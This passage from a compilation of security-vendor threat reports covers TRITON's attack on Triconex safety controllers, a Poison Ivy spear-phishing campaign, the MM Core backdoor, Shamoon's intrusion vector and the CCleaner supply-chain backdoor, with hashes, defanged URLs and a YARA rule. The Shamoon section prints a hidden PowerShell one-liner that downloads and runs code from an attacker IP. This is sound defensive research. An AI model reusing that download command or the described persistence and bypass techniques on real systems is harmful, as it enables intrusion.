exposed by the TriStation protocol. If the controller was in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed them to the communication libraries to be appended to the controller s program memory and execution table. After payload files were inserted into memory on the Triconex controller, the script initiated a countdown, periodically checking the status of the controller. If an error was detected, the communication library s method SafeAppendProgramMod attempted to reset the controller to the previous state using a TriStation protocol command. If this failed, trilog.exe attempted to write a small dummy program to memory. We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller. Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid Triconex controller and discovered a conditional check in the malware that prevented the payload binary from persisting in the environment. Mandiant confirmed that, after correcting patching the attack script to remove this check, the payload binary would persist in controller memory, and the controller would continue to run. TRITON implements the TriStation protocol, which is the protocol used by the legitimate TriStation application, to configure controllers. TsHi is the high-level interface created by the malware s authors that allows the threat actor operators to implement attack scripts using the TRITON framework. It exposes functions for both reconnaissance and attack. The functions generally accept binary data from the user, and handle the code signing and check sums prior to passing the data to lower level libraries for serialization on to the network. TsBase, another attacker-written module, contains the functions called by TsHi, which translate the attacker s intended action to the appropriate TriStation protocol function code. For certain functions, it also packs and pads the data in to the appropriate format. TsLow is an additional attacker module that implements the TriStation UDP wire protocol. The TsBase library primarily depends on the ts_exec method. This method takes the function code and expected response code, and serializes the commands payload over UDP. It checks the response from the controller against the expected value and returns a result data structure indicating success or a False object representing failure. 8/10 TsLow also exposes the connect method used to check connectivity to the target controller. If invoked with no targets, it runs the device discovery function detect_ip. This leverages a "ping" message over the TriStation protocol using IP broadcast to find controllers that are reachable via a router from where the script is invoked. Indicators Filename Hash trilog.exe MD5: 6c39c3f4a08d3d78f2eb973a94bd7718 SHA-256: e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230 imain.bin MD5: 437f135ba179959a580412e564d3107f SHA-256: 08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949 inject.bin MD5: 0544d425c7555dc4e9d76b571f31f500 SHA-256: 5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14 library.zip MD5: 0face841f7b2953e7c29c064d6886523 SHA-256: bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59 TS_cnames.pyc MD5: e98f4f3505f05bf90e17554fbc97bba9 SHA-256: 2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326 TsBase.pyc MD5: 288166952f934146be172f6353e9a1f5 SHA-256: 1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42 TsHi.pyc MD5: 27c69aa39024d21ea109cc9c9d944a04 SHA-256: 758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272 TsLow.pyc MD5: f6b3a73c8c87506acda430671360ce15 SHA-256: 5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32 sh.pyc MD5: 8b675db417cc8b23f4c43f3de5c83438 SHA-256: c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1 Detection 9/10 rule TRITON_ICS_FRAMEWORK meta: author = "nicholas.carr @itsreallynick" md5 = "0face841f7b2953e7c29c064d6886523" description = "TRITON framework recovered during Mandiant ICS incident response" strings: $python_compiled = ".pyc" nocase ascii wide $python_module_01 = "__module__" nocase ascii wide $python_module_02 = "" nocase ascii wide $python_script_01 = "import Ts" nocase ascii wide $python_script_02 = "def ts_" nocase ascii wide $py_cnames_01 = "TS_cnames.py" nocase ascii wide $py_cnames_02 = "TRICON" nocase ascii wide $py_cnames_03 = "TriStation " nocase ascii wide $py_cnames_04 = " chassis " nocase ascii wide $py_tslibs_01 = "GetCpStatus" nocase ascii wide $py_tslibs_02 = "ts_" ascii wide $py_tslibs_03 = " sequence" nocase ascii wide $py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide $py_tslibs_05 = /module\s?version/ nocase ascii wide $py_tslibs_06 = "bad " nocase ascii wide $py_tslibs_07 = "prog_cnt" nocase ascii wide $py_tsbase_01 = "TsBase.py" nocase ascii wide $py_tsbase_02 = ".TsBase(" nocase ascii wide $py_tshi_01 = "TsHi.py" nocase ascii wide $py_tshi_02 = "keystate" nocase ascii wide $py_tshi_03 = "GetProjectInfo" nocase ascii wide $py_tshi_04 = "GetProgramTable" nocase ascii wide $py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide $py_tshi_06 = ".TsHi(" ascii nocase wide $py_tslow_01 = "TsLow.py" nocase ascii wide $py_tslow_02 = "print_last_error" ascii nocase wide $py_tslow_03 = ".TsLow(" ascii nocase wide $py_tslow_04 = "tcm_" ascii wide $py_tslow_05 = " TCM found" nocase ascii wide $py_crc_01 = "crc.pyc" nocase ascii wide $py_crc_02 = "CRC16_MODBUS" ascii wide $py_crc_03 = "Kotov Alaxander" nocase ascii wide $py_crc_04 = "CRC_CCITT_XMODEM" ascii wide $py_crc_05 = "crc16ret" ascii wide $py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide $py_crc_07 = /CRC16_CCITT[^_]/ ascii wide $py_sh_01 = "sh.pyc" nocase ascii wide $py_keyword_01 = " FAILURE" ascii wide $py_keyword_02 = "symbol table" nocase ascii wide $py_TRIDENT_01 = "inject.bin" ascii nocase wide $py_TRIDENT_02 = "imain.bin" ascii nocase wide condition: 2 of ($python_*) and 7 of ($py_*) and filesize < 3MB 10/10 Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html Introduction FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government. Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy, a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more. The threat actors behind this attack demonstrated some interesting techniques, including: 1. Customized evasion based on victim profile The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems. 2. Fileless execution and persistence In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination. The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files. 3. Decoy documents This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity. Attack Cycle The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload. The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process. The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace. Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry. Figure 1 shows the stages of the payload execution from the malicious macro. 1/10 Figure 1: Stages of payload execution used in this attack Social Engineering and Macro-PowerShell Level 1 Usage Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal. When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2, asking them to enable macros. 2/10 Figure 2: Lure suggesting the user to enable Macros to see content Bypassing Application Whitelisting Script Protections (AppLocker) Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system. In April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies. The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument. This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file. We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file, as seen in Figure 3. 3/10 Figure 3: Command after de-obfuscation to bypass AppLocker via regsv32.exe Figure 4 shows the entire command line parameter used to bypass AppLocker. Figure 4: Command line parameter used to bypass AppLocker We found that the malicious SCT file invokes WScript to launch PowerShell in hidden mode with an encoded command, as seen in Figure 5. Figure 5: Content of SCT file containing code to launch encoded PowerShell Decoding SCT: Decoy launch and Stage Two PowerShell After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two purposes: 1. There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet. When the victim enables macros, they will see the decoy document shown in Figure 6. This document contains the content described in the spear phishing email. 4/10 Figure 6: Decoy downloaded and launched on the victim s screen 2. After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1 as shown in Figure 7. Figure 7: PowerShell to download and run decoy decoy document and third-stage payload Third Stage PowerShell Persistence The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the HKCU: \Console\FontSecurity registry key. Figure 8 shows a portion of the PowerShell commands for writing this value to the registry. 5/10 Figure 8: Code to set registry with encoded PowerShell script Figure 9 shows the registry value containing encoded PowerShell code set on the victims system. Figure 9: Registry value containing encoded PowerShell script Figure 10 shows that using Start-Process, PowerShell decodes this registry and runs the malicious code. Figure 10: Code to decode and run malicious content from registry The third stage PowerShell script also configures another registry value named HKCU\CurrentVersion\Run\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU: \Console\FontSecurity key. Figure 11 shows the code for these actions. This will execute the PowerShell payload when the user logs in to the system. 6/10 Figure 11: PowerShell registry persistence Fourth Stage PowerShell Inject-LocalShellCode The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12. This script borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject shellcode. Figure 12: Code to inject shellcode Shellcode Analysis The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13. 7/10 Figure 13: Decryption loop and call to decrypted shellcode After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14. 8/10 Figure 14: Code injection in userinit.exe and attempt to access Poison Ivy related DAT files In the decrypted shellcode, we also observed content and configuration related to Poison Ivy. Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following: Active setup StubPath Encryption/Decryption key - version2013 Mutex name - 20160509 The Poison Ivy configuration dump is shown in Figure 15. 9/10 Figure 15: Poison Ivy configuration dump Conclusion Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns. Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host. FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here. It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload. HX also contains generic detections for the registry persistence, AppLocker bypasses and subsequent stages of PowerShell abuse used in this attack. 10/10 MM Core In-Memory Backdoor Returns as "BigBoss" and "SillyGoose" blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose Introduction by Nicholas Griffin and Roland Dela Paz In October 2016 Forcepoint Security Labs discovered new versions of the MM Core backdoor being used in targeted attacks. Also known as BaneChant , MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number 2.0-LNK where it used the tag BaneChant in its command-and-control (C2) network request. A second version 2.1-LNK with the network tag StrangeLove was discovered shortly after. In this blog we will detail our discovery of the next two versions of MM Core, namely BigBoss (2.2-LNK) and SillyGoose (2.3-LNK). Attacks using "BigBoss" appear likely to have occurred since mid-2015, whereas "SillyGoose" appears to have been distributed since September 2016. Both versions still appear to be active. Targeted Regions and Industries In 2013 MM Core was reported to target Middle Eastern and Central Asian countries. Our own telemetry suggests that both Africa and the United States have also been recent targets. The following list shows the targeted industries we have observed: News & Media Government - Defence Oil & Gas Manufacturing Telecommunications MM Core Capabilities An overview of MM Core backdoor s functionalities is as follows: Send infected system s computer name, windows version, system time, running processes, TCP/IP configuration, and top level directory listings for drives C to H Download and execute file Download and execute file in memory Update itself Uninstall itself Infection Method Previously the MM Core downloader component was downloaded and executed through shellcode by a DOC file exploiting CVE 2012-0158. However, the new DOC exploit we found exploits a more recent CVE-2015-1641 Microsoft Word vulnerability which it uses to extract embedded malware. The extracted malware is then executed by leveraging a DLL side-loading vulnerability. The DOC file we analysed (SHA1 d336b8424a65f5c0b83328aa89089c2e4ddbcf72) was named US pak track ii naval dialogues.doc . This document exploits CVE-2015-1641 and executes shellcode which drops a legitimate Microsoft executable along with a trojanised DLL named ChoiceGuard.dll . The shellcode then executes the Microsoft executable, causing the malicious DLL to automatically be loaded into the file when it is run - hence the term "side-loading". The DLL downloads and executes the file-less MM Core backdoor in memory, which uses steganography to hide itself inside a JPEG file. The JPEG contains code to decrypt itself using the Shikata ga nai algorithm. Once decrypted and executed in memory, the MM Core backdoor will extract and install an embedded downloader when it is first run and add it to Windows start-up for persistence. This downloader, which is similar to the first trojanised DLL, is then executed and will download the MM Core JPEG once again, executing it in memory like before. This time MM Core will conduct its backdoor routine which will send off system information and await further commands. An overview of this infection process is as follows: Valid Certificates Some of the downloader components we found (i.e. "ChoiceGuard.dll") are signed with a valid authenticode certificate from Russian organisation "Bor Port": We suspect that this may be a stolen certificate as it is very unlikely that a malware author would sign malware with their own organisation's certificate. Updated Malware Artefacts Newer versions of MM Core use updated version tags, mutexes, and filenames as compared with their 2013 counterparts. These are listed in the table below: Evasion Tactics The MM Core actors have made significant efforts to prevent security researchers from tracking their infrastructure. The first two versions of MM Core back in 2013 used spoofed registrant information in order to register the C2 domains, whereas the new campaigns use C2s registered using a registrant privacy protection service. This makes it more difficult to track the actors' infrastructure using WHOIS data. The actors have also registered their domains on BigRock, a popular web hosting company, in order to blend in with the noise of legitimate sites that are hosted on the same infrastructure. Forcepoint Protection Statement Forcepoint customers are protected against this threat via TRITON ACE at the following stages of attack: Stage 5 (Dropper File) - The malware components are prevented from being downloaded and/or executed. Stage 6 (Call Home) - Network traffic used by the downloaders and MM Core is identified and blocked. Conclusion MM Core is an active threat targeting multiple countries and high profile industries. It is interesting to note that even though MM Core s version has incremented twice, the core backdoor code has remained almost the same apart from the new file and mutex names. Largely this is perhaps due to the file-less nature of its payload, which may also explain why the majority of the updates were in the delivery mechanism. At the same time this demonstrates that the attackers behind MM Core very well know what they are doing, updating the malware just enough to keep their operation under the radar after all these years. On the other hand, while the volume of related MM Core samples remain low, we noticed that the MM Core downloader shares code, techniques and network infrastructure with a trojan called "Gratem", as well as sharing the same authenticode certificate for recent samples. Gratem is a more active downloader malware family which has been distributed since at least 2014. Ultimately this suggests that MM Core may be a part of a larger operation that is yet to be fully uncovered. Indicators of Compromise Documents d336b8424a65f5c0b83328aa89089c2e4ddbcf72 (US pak track ii naval dialogues.doc) Dropper/Downloader Samples (SHA1) f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab ef59b4ffc8a92a5a49308ba98cb38949f74774f1 1cf86d87140f13bf88ede74654e01853bae2413c 415ad0a84fe7ae5b88a68b8c97d2d27de5b3aed2 e8bfa4ed85aac19ab2e77e2b6dfe77252288d89b f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab 83e7b2d6ea775c8eb1f6cfefb32df754609a8129 b931d3988eb37491506504990cae3081208e1a66 7031f4be6ced5241ae0dd4315d66a261f654dbd6 ab53485990ac503fb9c440ab469771fac661f3cc b8e6f570e02d105df2d78698de12ae80d66c54a2 188776d098f61fa2c3b482b2ace202caee18b411 e0ed40ec0196543814b00fd0aac7218f23de5ec5 5498bb49083289dfc2557a7c205aed7f8b97b2a8 ce18064f675348dd327569bd50528286929bc37a 3a8b7ce642a5b4d1147de227249ecb6a89cbd2d3 21c1904477ceb8d4d26ac9306e844b4ba0af1b43 f89a81c51e67c0bd3fc738bf927cd7cc95b05ea6 MM Core Unpacked DLL Samples (SHA1) 13b25ba2b139b9f45e21697ae00cf1b452eeeff5 c58aac5567df7676c2b08e1235cd70daec3023e8 4372bb675827922280e8de87a78bf61a6a3e7e4d 08bfdefef8a1fb1ea6f292b1ed7d709fbbc2c602 Related Gratem Samples (SHA1) 673f315388d9c3e47adc280da1ff8b85a0893525 f7372222ec3e56d384e7ca2650eb39c0f420bc88 Dropper/Downloader Payload Locations hxxp://davidjone[.]net/huan/normaldot.exe MM Core Payload Locations hxxp://mockingbird.no-ip[.]org/plugins/xim/top.jpg hxxp://presspublishing24[.]net/plugins/xim/top.jpg hxxp://ichoose.zapto[.]org/plugins/cc/me.jpg hxxp://presspublishing24[.]net/plugins/cc/me.jpg hxxp://waterlily.ddns[.]net/plugins/slm/pogo.jpg hxxp://presspublishing24[.]net/plugins/slm/pogo.jpg hxxp://nayanew1.no-ip[.]org/plugins/xim/top.jpg hxxp://davidjone[.]net/plugins/xim/top.jpg hxxp://hawahawa123.no-ip[.]org/plugins/xim/logo.jpg hxxp://davidjone[.]net/plugins/xim/logo.jpg MM Core C2s hxxp://presspublishing24[.]net/plugins/cc/mik.php hxxp://presspublishing24[.]net/plugins/slm/log.php hxxp://presspublishing24[.]net/plugins/xim/trail.php Gratem Second Stage Payload Locations hxxp://adnetwork33.redirectme[.]net/wp-content/themes/booswrap/layers.png hxxp://network-resources[.]net/wp-content/themes/booswrap/layers.png hxxp://adworks.webhop[.]me/wp-content/themes/bmw/s6.png hxxp://adrev22[.]ddns.net/network/superads/logo.dat hxxp://davidjone[.]net/network/superads/logo.dat The Full Shamoon: How the Devastating Malware Was Inserted Into Networks securityintelligence.com/the-full-shamoon-how-the-devastating-malware-was-inserted-into-networks/ 2/15/2017 Authored by the IBM X-Force Incident Response and Intelligence Services (IRIS) team. Researchers from the IBM X-Force Incident Response and Intelligence Services (IRIS) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware attacks against Gulf state organizations. These attacks, which occurred in November 2016 and January 2017, reportedly affected thousands of computers across multiple government and civil organizations in Saudi Arabia and elsewhere in Gulf states. Shamoon is designed to destroy computer hard drives by wiping the master boot record (MBR) and data irretrievably, unlike ransomware, which holds the data hostage for a fee. Through their recent investigations, our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon malware on targeted infrastructures. It s worth mentioning that, according to X-Force IRIS, the initial compromise took place weeks before the actual Shamoon deployment and activation were launched. Shamoon Attacks Preceded by Malicious Macros and PowerShell Commands Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks, X-Force IRIS responders sought out the attackers entry point. Their findings pointed to what appears to be the initial point of compromise the attackers used: a document containing a malicious macro that, when approved to execute, enabled C2 communications to the attacker server and remote shell via PowerShell. The document was not the only one discovered in the recent attack waves. X-Force IRIS researchers had been tracking earlier activity associated with similar malicious, PowerShell-laden documents themed as resumes and human resources documents, some of which related to organizations in Saudi Arabia. This research identified several bouts of offensive activity that occurred in the past few months, which revealed similar operational methods in which the attackers served malicious documents and other malware executables from web servers to their targets to establish an initial foothold in the network. Learn more about IBM X-Force IRIS Initial Compromise Vector Previously Unclear Although Shamoon was previously documented in research blogs, the specific network compromise methods leading to the attacks have remained unclear in the reported cases. X-Force IRIS researchers studied Shamoon s attack life cycle and observed its tactics at Saudi-based organizations and private sector companies. This research led them to believe that the actor using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations: 1. Attackers send a spear phishing email to employees at the target organization. The email contains a Microsoft Office document as an attachment. 2. Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine. 3. Attackers can now communicate with the compromised machine and remotely execute commands on it. 4. The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network. 5. Attackers study the network by connecting to additional systems and locating critical servers. 6. The attackers deploy the Shamoon malware. 7. A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped. Figure 1: Shamoon Attack Logical Flow of Events A Phish Is Speared X-Force IRIS identified the below malicious document: Detail Info File name cv_itworx.doc 45b0e5a457222455384713905f886bd4 SHA256 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 Hosting hxxp://mol.com-ho[.]me/cv_itworx.doc Embedded PowerShell PowerShell.exe -window hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQB3ACAAaABpAGQAZABlAG4AIAAtAG4AbwBuAGkAIAAtAG4AbwBwACAALQBjACAAIgBpAGUAeAAoAE4AZQB3AC Decode PowerShell.exe -w hidden -noni -nop -c iex(New-Object System.Net.WebClient).DownloadString( hxxp://139.59.46.154:3485/eiloShaegae1 Our researchers examined the domain that hosted the first malicious file, mol.com-ho[.]me. Per the domain s WHOIS record, an anonymized registrant registered com-ho[.]me in October 2016 and used it to serve malicious documents with similar macro activation features. The following list of documents included: File Name File MD5 cv.doc f4d18316e367a80e1005f38445421b1f cv_itworx.doc 45b0e5a457222455384713905f886bd4 cv_mci.doc f4d18316e367a80e1005f38445421b1f discount_voucher_codes.xlsm 19cea065aa033f5bcfa94a583ae59c08 Health_insurance_plan.doc ecfc0275c7a73a9c7775130ebca45b74 Health_insurance_registration.doc 1b5e33e5a244d2d67d7a09c4ccf16e56 job_titles.doc fa72c068361c05da65bf2117db76aaa8 job_titles_itworx.doc 43fad2d62bc23ffdc6d301571135222c job_titles_mci.doc ce25f1597836c28cf415394fb350ae93 Password_Policy.xlsm 03ea9457bf71d51d8109e737158be888 These files were most likely delivered via spear phishing emails to lure employees into unwittingly launching the malicious payload. A closer review of the file names revealed IT Worx and MCI. A search of the name IT Worx brings up a global software professional services organization headquartered in Egypt. MCI is Saudi Arabia s Ministry of Commerce and Investment. It is possible these names were used in spear phishing emails because they would seem benign to Saudi-based employees and lure them to open the attachment. X-Force IRIS researchers further identified that the threat actor behind the malicious documents served many of them using a URL-shortening scheme in the following pattern: briefl[.]ink/{a-z0-9}[5]. File Detail Info File name job_titles_itworx.doc File Detail Info 43fad2d62bc23ffdc6d301571135222c SHA256 e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 Hosting URL hxxp://briefl.ink/qhtma The following figure is a visual example of what employees may have encountered when they opened the malicious Word files sent to them in preparation for a Shamoon attack: Figure 2: Malicious Word Document Delivered in Preparation of a Shamoon Malware Attack (Source: X-Force IRIS) Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure, identifying additional domains used by the threat actors. Domain Name Spoofed Site ntg-sa[.]com The domain ntg-sa[.]com appears to spoof the legit domain ntg.sa.com associated with the Namer Trading Group. Per their webpage, NTG was established primarily to cater the growing demands of Petrochemicals waste management within the Kingdom of Saudi Arabia. mapsmodon[.]club The maps-modon[.]club domain appears to spoof maps.modon.gov.sa, which is associated with the Saudi Industrial Property Authority, an organization responsible for the development of industrial cities with integrated infrastructure and services. X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on ntg-sa[.]com. This file duped targets into believing it was a Flash player installer that would drop a Windows batch to invoke PowerShell into the same C2 communications. Breakdown of the PowerShell-Related Macro Analysis of one of the threat actor s documents found that if the macro executes, it launches two separate PowerShell Scripts. The first one executes a PowerShell script served from hxxp://139.59.46.154:3485/eiloShaegae1. The host is possibly related to attacks that served the Pupy RAT, a publicly available cross-platform remote access tool. The second script calls VirtualAlloc to create a buffer, uses memset to load Metasploit-related shellcode into that buffer and executes it through CreateThread. Metasploit is an open source framework popular as a tool for developing and executing exploit code against a remote target machine. The shellcode performs a DWORD XOR of 4 bytes at an offset from the beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times. If this execution is successful, it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from hxxp://45.76.128.165:4443/0w0O6. This is then returned as a string to PowerShell, which calls invoke-expression (iex) on it, indicating that the expected payload is PowerShell. Of note, the macro contained a DownloadFile() function that would use URLDownloadToFileA, but this was never actually used. Based on observations associated with the malicious document, we observed subsequent shell sessions probably associated with Metasploit s Meterpreter that enabled deployment of additional tools and malware preceding deployment of three Shamoon-related files: ntertmgr32.exe, ntertmgr64.exe and vdsk911.sys. Shamoon s Back, But for How Long This Time? Although the complete list of Shamoon s victims is not public, Bloomberg reported that in one case, thousands of computers were destroyed at the headquarters of Saudi s General Authority of Civil Aviation, erasing critical data and bringing operations to a halt for several days. The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves, but those are likely to subside following the public attention the cases have garnered since late 2016. Saudi Arabia released a warning to local organizations about the Shamoon malware, alerting about potential attacks and advising organizations to prepare. Analysis and warnings about Shamoon are resulting in preparation on the targets end, and actors are likely to disappear and change their tactics until the next wave of attacks. For technical details on this research and related indicators of compromise, see the X-Force Advisory on X-Force Exchange. Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner intezer.com /evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ 9/20/2017 Recently, there have been a few attacks with a supply chain infection, such as Shadowpad being implanted in many of Netsarang s products, affecting millions of people. You may have the most up to date cyber security software, but when the software you are trusting to keep you protected gets infected there is a problem. A backdoor, inserted into legitimate code by a third party with malicious intent, leads to millions of people being hacked and their information stolen. Avast s CCleaner software had a backdoor encoded into it by someone who had access to the supply chain. Through somewhere that had access to the source code of CCleaner, the main executable in v5.33.6162 had been modified to include a backdoor. The official statement from Avast can be found here The Big Connection: Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab, was the first to find a code connection between APT17 and the backdoor in the infected CCleaner: The malware injected into #CCleaner has shared code with several tools used by one of the APT groups from the #Axiom APT 'umbrella'. Costin Raiu (@craiu) September 19, 2017 Using Intezer Analyze , we were able to verify the shared code between the backdoor implanted in CCleaner and earlier APT17 samples. The photo below is the result of uploading the CCBkdr module to Intezer Analyze , where the results show there is an overlap in code. With our technology, we can compare code to a huge database of malicious and trusted software that s how we can prove that this code has never been seen before in any other software. A deeper analysis leads us to the functions shown below. The code in question is a unique implementation of base64 only previously seen in APT17 and not in any public repository, which makes a strong case about attribution to the same threat actor. This code connection is huge news. APT17, also known as Operation Aurora, is one of the most sophisticated cyber attacks ever conducted and they specialize in supply chain attacks. In this case, they probably were able to hack CCleaner s build server in order to plant this malware. Operation Aurora started in 2009 and to see the same threat actor still active in 2017 could possibly mean there are many other supply chain attacks by the same group that we are not aware of. The previous attacks are attributed to a Chinese group called PLA Unit 61398. Technical Analysis: The infected CCleaner file that begins the analysis is from 6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9 A technical analysis was posted by Talos here ( http://blog.talosintelligence.com/2017/09/avast-distributesmalware.html). The flow-graph of the malicious CCleaner is as follows (taken from the Talos report): Infected function: Load and execute the payload code: After the embedded code is decrypted and executed, the next step is a PE (portable executable) file loader. A PE file loader basically emulates the process of what happens when you load an executable file on Windows. Data is read from the PE header, from a module created by the malware author. The PE loader first begins by resolving the addresses of imports commonly used by loaders and calling them. GetProcAddress to get the addresses of external necessary functions, LoadLibraryA to load necessary modules into memory and get the address of the location of the module in memory, VirtualAlloc to create memory for somewhere to copy the memory, and in some cases, when not implemented, and memcpy to copy the buffer to the newly allocated memory region. After the module is copied to memory, to load it properly, the proper loading procedure is executed. The relocation table is read to adjust the module to the base address of the allocated memory region, the import table is read, the necessary libraries are loaded, and the import address table is filled with the correct addresses of the imports. Next, the entire PE header is overwritten with 0 s, a mechanism to destroy the PE header tricking security software into not realizing this module is malicious, and after the malicious code begins execution. The main module does the following: 1. Tries an anti-debug technique using time and IcmpSendEcho to wait 2. Collect data about the computer (Operating system, computer name, DNS domain, running processes, e tc) 3. Allocates memory for payload to retrieve from C&C server 4. Contacts C&C server at IP address 216.126.225.148 a. If this IP address is unreachable, uses a domain generation algorithm and uses a different domain depending on the month and year 5. Executes code sent by C&C By the time of the analysis, we were unable to get our hands on the code sent by the C&Cs. If you would like to analyze the malware yourself, you may refer to my tweet. #ccleaner malware DLL w/ IAT fix https://t.co/FprmtmkV64 https://t.co/dgWiQVd31k @TalosSecurity @malwrhunterteam pic.twitter.com/TxsbveFoHJ Jay Rosenberg (@jaytezer) September 18, 2017 By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis. Currently working as a Senior Security Researcher in Intezer. Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack & Chinese Hackers intezer.com /evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinesehackers/ 10/2/2017 Since my last post, we have found new evidence in the next stage payloads of the CCleaner supply chain attack that provide a stronger link between this attack and the Axiom group. First of all, our researchers would like to thank the entire team at Cisco Talos for their excellent work on this attack (their post regarding stage 2 can be found here) as well as their cooperation by allowing us access to the stage 2 payload. Also, we would like to give a special thanks to Kaspersky Labs for their collaboration. The Next Connection Starting from the stage 2 payload, I reverse engineered the module, extracting other hidden shellcode and binaries within. After uploading the different binaries to Intezer Analyze , the final payload (that I have access to) had a match with a binary relating to the Axiom group. 1/17 At first glance, I believed it was going to be the same custom base64 function as mentioned in my previous blog post. A deeper look in the shared code proved otherwise. Binary in screenshot: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a Related APT17 samples: 07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d 0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2 20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27 ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550 2/17 Not only did the first payload have shared code between the Axiom group and CCBkdr, but the second did as well. The above photo shows the same function between two binaries. Let me put this into better context for you: out of all the billions and billions of pieces of code (both trusted and malicious) contained in the Intezer Code Genome Database, we found this code in only these APTs . It is also worth noting that this isn t a standard method one would use to call an API. The attacker used the simple technique of employing an array to hide a string from being in clear sight of those analyzing the binary (although to those who are more experienced, it is obvious) and remain undetected from antivirus signatures. The author probably copied and pasted the code, which is what often happens to avoid duplicative efforts: rewriting the same code for the same functionality twice. Due to the uniqueness of the shared code, we strongly concluded that the code was written by the same attacker. 3/17 Technical Analysis: The stage two payload that was analyzed in this report (dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version of CCleaner, was dropped to only a selective group of targets, as reported by Talos. Although there is an x64 version, the following analysis 